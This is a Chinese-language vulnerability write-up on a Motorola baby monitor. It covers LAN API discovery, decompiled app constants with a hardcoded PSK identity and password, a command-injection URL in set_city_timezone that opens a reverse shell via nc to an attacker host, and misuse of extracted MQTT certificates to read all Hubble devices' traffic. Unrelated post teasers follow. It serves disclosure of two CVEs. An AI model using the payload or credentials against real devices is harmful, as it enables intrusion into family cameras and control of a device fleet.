摩托罗拉婴儿监视器存在远程代码执行漏洞

VSole2021-10-16 08:22:57

对于要有孩子的家庭来说,有一个婴儿监视器是比较好的选择。婴儿监视器类型包括 Wi-Fi、移动app和云平台等。我们决定使用Motorola-Crib-Baby-Monitor-Soother-Camera,使用之前我想仔细研究一下这款设备的安全性。

我开始深入研究该设备,在一段时间后我发现了一个预认证 RCE 并在此后不久获取了一个完整的 root shell。

0x01 端口扫描

将Motorola-Crib-Baby-Monitor-Soother-Camera连接到 Wi-Fi 上,尝试进行服务和端口扫描确定开放端口。

这些端口为我寻找潜在的 API 通信提供了一个良好的开端。我在浏览器中访问了每一个,希望其中一个可以提供 Web 界面。这三个确都是 Web 服务器,尽管每个服务器的响应略有不同:

◼8080

– 404 未找到页面

◼9090

– 显示“不支持的命令”的响应正文

◼80

- 空白

无法让80端口做出响应,通过 cURL 请求看看返回信息:

user@ubuntu:~$ curl http://192.168.5.244 -v

* Rebuilt URL to: http://192.168.5.244/

*  Trying 192.168.5.244...

* Connected to 192.168.5.244 (192.168.5.244) port 80 (#0)

> GET / HTTP/1.1

> Host: 192.168.5.244

> User-Agent: curl/7.47.0

> Accept: */*

< HTTP/1.1 204 No content

< Content-Length: 0

< Content-Type: text/plain

< Connection: Keep-Alive

* Connection #0 to host 192.168.5.244 left intact

我尝试使用各种参数的请求,但都获取不到有效返回信息。

0x02 App逆向

接下来,我决定安装 Android 应用app并开始逆向,希望了解app如何与设备进行通信。婴儿监视器可以通过Hubble Connected for Motorola Monitors进行管理,这是设置后的样子:

除了Motorola-Crib-Baby-Monitor-Soother-Camera 指令外,设备还收集了很多数据并在应用程序中显示。在这里你可以看到它显示室温,以及其他监视器功能的状态,如夜灯和投影。

我的下一步思路是代理应用程序中的 API 请求。快速浏览应用程序的详细信息后logcat输出了一些信息。

API 请求很容易从日志中获取,注意到很多这样的请求与Hubble cloud服务交互,我更感兴趣的是应用程序是否直接通过 LAN 在访问设备。

接下来,我搜索了HTTP 通信的日志,并测试该应用程序的更多功能。在应用程序中更改了一些设备设置后,终于确定了向本地 API 发出的一些请求:

这正是我在寻找的,让我们尝试一个栗子:

user@ubuntu:~$ curl "http://192.168.5.244/?action=command&command=get_wifi_strength" -v

*  Trying 192.168.5.244...

* Connected to 192.168.5.244 (192.168.5.244) port 80 (#0)

> GET /?action=command&command=get_wifi_strength HTTP/1.1

> Host: 192.168.5.244

> User-Agent: curl/7.47.0

> Accept: */*

< HTTP/1.1 200 OK

< Content-Length: 21

< Content-Type: text/plain

< Connection: Keep-Alive

* Connection #0 to host 192.168.5.244 left intact

get_wifi_strength: 75

一个普通的HTTP 请求返回了一个以冒号分隔的响应数据包。

附加命令:

借助一些本地 API 请求示例,我反编译了 Android 应用程序并开始搜索对它们的引用,目标是找到代码库中使用的命令列表。我比较关心一个定义了配置常量列表的特定类ConfigConstants,包括可能的 GET 和 SET 命令,以及设置 Wi-Fi 的 PSK。

/*

 * Decompiled with CFR 0_121.

 */

package com.hubble.framework.common;

public class ConfigConstants {

  public static final String AUTH_KEY_IS_NULL = "auth_key_is_null";

  public static final String CAM_FOCUS_1_SSID = "\"CameraHD-006611d724\"";

  public static final String CAM_FOCUS_1_SSID_NAME = "CameraHD-006611d724";

  public static final String CAM_FOCUS_SSID = "\"CameraHD-00661214b0\"";

  public static final String GLOBAL_PORT = ":80";

  public static final String MQTT_P2P_ENABLE = "mqtt_p2p_enable";

  public static final String TRANSFER_PROTOCOL = "http://";

  public class Camera {

    public static final String ACCESS_TOKEN_COMMAND = "action=command&command=set_server_auth&value=";

    public static final String AP_INFO_COMMAND = "action=command&command=setup_wireless_save&setup=";

    public static final String GET_MAC_COMMAND = "action=command&command=get_mac_address";

    public static final String GET_UDID_COMMAND = "action=command&command=get_udid";

    public static final String GET_VERSION = "action=command&command=get_version";

    public static final String HTTP_URI_SEPARATOR = "/?";

    public static final String PREFS_CAMERA_CREDENTIAL_STATUS = "camera_credential";

    public static final String PREFS_CAMERA_HTTP_NAME = "camera_http_name";

    public static final String PREFS_CAMERA_HTTP_PASSWORD = "camera_http_pwd";

    public static final String RESTART_DEVICE_COMMAND = "action=command&command=restart_system";

    public static final String SETUP_FW_VERSION = "00.00.00";

    public static final String SETUP_PSK_IDENTITY = "forekbsh93vlf8j08tt53qaghb";

    public static final String SETUP_PSK_PASSWORD = "D9D9790A65CEF2B23B73CCA9DC18C888";

    public static final String SETUP_TLS_DEFAULT_PORT = "4434";

    public static final String SET_BOOTSTRAP_COMMAND = "set_bootstrap_info";

    public static final String SET_BOOTSTRAP_URL = "action=command&command=set_bootstrap_info%s";

    public static final String SET_CITY_TIMEZONE = "set_city_timezone";

    public static final String SET_CITY_TIME_ZONE = "action=command&command=set_city_timezone&value=%s";

    public static final String SET_DATE_TIME = "action=command&command=set_date_time&value=%s";

    public static final String SET_DATE_TIME_COMMAND = "set_date_time";

    public static final String WIFI_CONNECTION_STATE_COMMAND = "action=command&command=get_wifi_connection_state";

    public static final String WIFI_LIST_COMMAND = "action=command&command=get_rt_list";

  }

}

我手动尝试ConfigConstants类中列出的命令,比如get_rt_list:

user@ubuntu:~$ curl "http://192.168.5.244/?action=command&command=get_rt_list" -v

*  Trying 192.168.5.244...

* Connected to 192.168.5.244 (192.168.5.244) port 80 (#0)

> GET /?action=command&command=get_rt_list HTTP/1.1

> Host: 192.168.5.244

> User-Agent: curl/7.47.0

> Accept: */*

< HTTP/1.1 200 OK

< Content-Length: 1096

< Content-Type: text/xml

8***REMOVED***WPA272-8801* Connection #0 to host 192.168.5.244 left intact

上面的命令返回了Motorola-Crib-Baby-Monitor-Soother-Camera可用的 Wi-Fi 网络列表。由于列出的大多数命令似乎都适用于我的设备,因此我知道我找对地方了,因此将注意力转移到了 SET 命令上。“value”参数特别令人感兴趣,因为它们会接受用户控制的输入,如果不正确输入就可能会导致 RCE。

0x03 远程代码执行漏洞

最终执行 set_city_timezone,执行重启命令,设备立即重启了,执行get_version操作/?action=command&command=get_version

设备已经拒绝连接。

构建反弹shell:

http://192.168.5.244/?action=command&command=set_city_timezone&value=$(nc${IFS}192.168.5.202${IFS}5555${IFS}-e${IFS}/bin/sh)

注意要使用 $ { IFS } 空格的 shell 变量,因为网络服务器将处理 %20 的编码值。

下面是root shell :

0x04 MQTT凭证漏洞

通过对设备的shell访问,我现在能够更深入地挖掘并检查其他在黑盒条件下的攻击媒介,我想谈谈我发现的最关键的问题。

MQTT:

正如我上面所讨论的,大部分云集成是通过 Hubble API 实现的。集成的一个组件是基于 MQTT 构建的——就像在许多物联网设备架构中一样,它用于处理设备、移动应用程序客户端和 Hubble基础设施之间基于事件的发布/订阅交互。

例如,移动应用程序通过 Hubble API 中的 API 层与 MQTT 交互:

{

 "status": 202,

 "message": "success",

 "data": {

  "id": "15f42d3d-7bcf-4fbd-8781-0bb3034f0fd2",

  "created_at": "2021-05-12T17:44:08Z",

  "updated_at": "2021-05-12T17:44:08Z",

  "job_type": "publish_command",

  "status": 202,

  "state": "SUCCESSFUL",

  "input": {

   "packet_header_pojo": "{\"command\":\"VALUE_TEMPERATURE\"}",

   "device_id": "50b0f163-51be-4ef5-ad55-f031d98f99b7"

  },

  "output": {

   "reason": "mqtt published",

   "PublishResponse": "mqtt published",

   "DeviceResponseMessage": null,

   "DeviceResponseStatus": null,

   "PublishStatus": 202

  },

  "priority": "high",

  "last_executed_time": "2021-05-12T17:44:08Z",

  "execution_count": 1

 }

}

为了更好地理解 MQTT 实现的工作原理,我想连接一个客户端来观察传输中的消息。在查看设备上的一些日志后,我找到了 MQTT 服务器的主机名,以及所有 TLS 证书和连接密钥:

pwd

/mnt/config/hubble_config

ls -hal

drwxr-x---  2 root   root     720 May 30 14:55 .

drwxr-xr-x  4 root   root    1.0K Dec 31 1969 ..

-rw-r--r--  1 root   root     286 May 30 13:55 bootup_info

-rw-r--r--  1 root   root    1.4K Dec 9 13:52 ca.crt

-rw-r--r--  1 root   root    1.1K Dec 9 13:52 client.crt

-rw-r--r--  1 root   root    1.6K Dec 9 13:52 client.key

-rw-r-----  1 root   root      0 Apr 1 23:37 dummy

-rw-r-----  1 root   root      0 Apr 1 23:37 smartconfig

-rw-r--r--  1 root   root    5.2K May 30 14:55 user.conf

-rw-r--r--  1 root   root    3.7K May 30 13:55 user1.conf

我打开了MQTT Explorer并配置了与设备证书的连接。我成功连接并马上看到了来自 Hubble Cloud中越来越多的其他设备的消息,我意识到客户端被配置为默认订阅 # 和 $SYS/#。很明显,这意味着要么是在所有Hubble 设备之间共享凭据,要么在 MQTT 中未强制执行设备之间的访问控制。

如果仔细观察,你可以看到来自各种设备的许多命令结果。虽然我没有尝试这样做,但我认为客户端很可能可以通过发布任意命令轻松控制整个设备群。

RCE漏洞的CVE编号是CVE-2021-3577,MQTT凭证问题的CVE编号是CVE-2021-3787。

漏洞挖掘mqtt
本作品采用《CC 协议》,转载必须注明作者和本文链接
被xuanxuan老师种草了~,"一定要摸真实的设备"这句话余音绕梁,终于狠下心买了一个二手的RV110W,
对于要有孩子的家庭来说,有一个婴儿监视器是比较好的选择。婴儿监视器类型包括 Wi-Fi、移动app和云平台等。我们决定使用Motorola-Crib-Baby-Monitor-Soother-Camera,使用之前我想仔细研究一下这款设备的安全性。
为了统一业界对关键术语和定义的认识和理解,规范术语和定义的使用,在工业和信息化部的指导下,工业互联网产业联盟对工业互联网术语和定义进行了汇总、梳理、研究、讨论,在此基础上,编制形成了《工业互联网术语和定义(1.0版本)》。
0x01 确定目标无目标随便打,有没有自己对应的SRC应急响应平台不说,还往往会因为一开始没有挖掘漏洞而随意放弃,这样往往不能挖掘到深层次的漏洞。所以在真的想要花点时间在SRC漏洞挖掘上的话,建议先选好目标。0x02 确认测试范围前面说到确定测什么SRC,那么下面就要通过一些方法,获取这个SRC的测试范围,以免测偏。
漏洞挖掘工具—afrog
2023-03-20 10:20:07
-t http://example.com -o result.html2、扫描多个目标 afrog -T urls.txt -o result.html例如:urls.txthttp://example.comhttp://test.comhttp://github.com3、测试单个 PoC 文件 afrog?-t http://example.com -P ./testing/poc-test.yaml -o result.html4、测试多个 PoC 文件 afrog?
但又没登录怎么获取的当前用户的Access-Reset-Ticket真相只有一个,看看接口哪里获取到的原来是在输入要找回的用户就会获取当前用户的Access-Reset-Ticket6到了,开发是我大哥尝试修改可行,修改管理员账号,然后起飞下机。漏洞已修复,厂商也修复了漏洞更新到了最新版本。
漏洞挖掘是指对应用程序中未知漏洞的探索,通过综合应用各种技术和工具,尽可能地找出其中的潜在漏洞。cookie的key为RememberMe,并对相关信息进行序列化,先使用aes加密,然后再使用base64编码处理形成的。在网上关于Shiro反序列化的介绍很多,我这里就只简单介绍一下,详情各位可以看下大神们对其源码的分析。
这里建议doc文档,图片可以贴的详细一些。爆破完好了,一样的6。想给它一个清晰完整的定义其实是非常困难的。
一、漏洞挖掘的前期–信息收集 虽然是前期,但是却是我认为最重要的一部分; 很多人挖洞的时候说不知道如何入手,其实挖洞就是信息收集+常规owasp top 10+逻辑漏洞(重要的可能就是思路猥琐一点),这些漏洞的测试方法本身不是特别复杂,一般混迹在安全圈子的人都能复现漏洞。接下来我就着重说一下我在信息收集方面的心得。
VSole
网络安全专家